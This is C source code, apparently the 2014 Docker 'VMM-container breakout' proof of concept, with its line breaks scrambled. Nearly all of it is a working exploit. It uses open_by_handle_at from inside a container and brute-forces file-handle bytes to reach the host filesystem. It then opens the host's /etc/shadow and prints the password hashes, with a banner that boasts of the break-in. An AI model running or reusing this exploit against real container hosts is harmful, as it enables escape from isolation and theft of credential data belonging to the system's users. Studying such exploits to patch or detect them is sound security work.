#define _GNU_SOURCE
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>
struct
my_file_handle {
unsigned
int
handle_bytes;
int
handle_type;
unsigned
char
f_handle[8];
};
void
die(
const
char
*msg)
{
perror
(msg);
exit
(
errno
);
}
void
dump_handle(
const
struct
my_file_handle *h)
{
fprintf
(stderr,
"[*] #=%d, %d, char nh[] = {"
, h->handle_bytes,
h->handle_type);
for
(
int
i = 0; i < h->handle_bytes; ++i) {
fprintf
(stderr,
"0x%02x"
, h->f_handle[i]);
if
((i + 1) % 20 == 0)
fprintf
(stderr,
"\n"
);
if
(i < h->handle_bytes - 1)
fprintf
(stderr,
", "
);
}
fprintf
(stderr,
"};\n"
);
}
int
find_handle(
int
bfd,
const
char
*path,
const
struct
my_file_handle *ih,
struct
my_file_handle *oh)
{
int
fd;
uint32_t ino = 0;
struct
my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct
dirent *de = NULL;
path =
strchr
(path,
'/'
);
if
(!path) {
memcpy
(oh->f_handle, ih->f_handle,
sizeof
(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return
1;
}
++path;
fprintf
(stderr,
"[*] Resolving '%s'\n"
, path);
if
((fd = open_by_handle_at(bfd, (
struct
file_handle *)ih, O_RDONLY)) < 0)
die(
"[-] open_by_handle_at"
);
if
((dir = fdopendir(fd)) == NULL)
die(
"[-] fdopendir"
);
for
(;;) {
de = readdir(dir);
if
(!de)
break
;
fprintf
(stderr,
"[*] Found %s\n"
, de->d_name);
if
(
strncmp
(de->d_name, path,
strlen
(de->d_name)) == 0) {
fprintf
(stderr,
"[+] Match: %s ino=%d\n"
, de->d_name, (
int
)de->d_ino);
ino = de->d_ino;
break
;
}
}
fprintf
(stderr,
"[*] Brute forcing remaining 32bit. This can take a while...\n"
);
if
(de) {
for
(uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy
(outh.f_handle, &ino,
sizeof
(ino));
memcpy
(outh.f_handle + 4, &i,
sizeof
(i));
if
((i % (1<<20)) == 0)
fprintf
(stderr,
"[*] (%s) Trying: 0x%08x\n"
, de->d_name, i);
if
(open_by_handle_at(bfd, (
struct
file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return
find_handle(bfd, path, &outh, oh);
}
}
}
closedir(dir);
close(fd);
return
0;
}
int
main()
{
char
buf[0x1000];
int
fd1, fd2;
struct
my_file_handle h;
struct
my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};
fprintf
(stderr,
"[***] docker VMM-container breakout Po(C) 2014 [***]\n"
"[***] The tea from the 90's kicks your sekurity again. [***]\n"
"[***] If you have pending sec consulting, I'll happily [***]\n"
"[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n"
);
read(0, buf, 1);
if
((fd1 = open(
"/.dockerinit"
, O_RDONLY)) < 0)
die(
"[-] open"
);
if
(find_handle(fd1,
"/etc/shadow"
, &root_h, &h) <= 0)
die(
"[-] Cannot find valid handle!"
);
fprintf
(stderr,
"[!] Got a final handle!\n"
);
dump_handle(&h);
if
((fd2 = open_by_handle_at(fd1, (
struct
file_handle *)&h, O_RDONLY)) < 0)
die(
"[-] open_by_handle"
);
memset
(buf, 0,
sizeof
(buf));
if
(read(fd2, buf,
sizeof
(buf) - 1) < 0)
die(
"[-] read"
);
fprintf
(stderr,
"[!] Win! /etc/shadow output follows:\n%s\n"
, buf);
close(fd2); close(fd1);
return
0;
}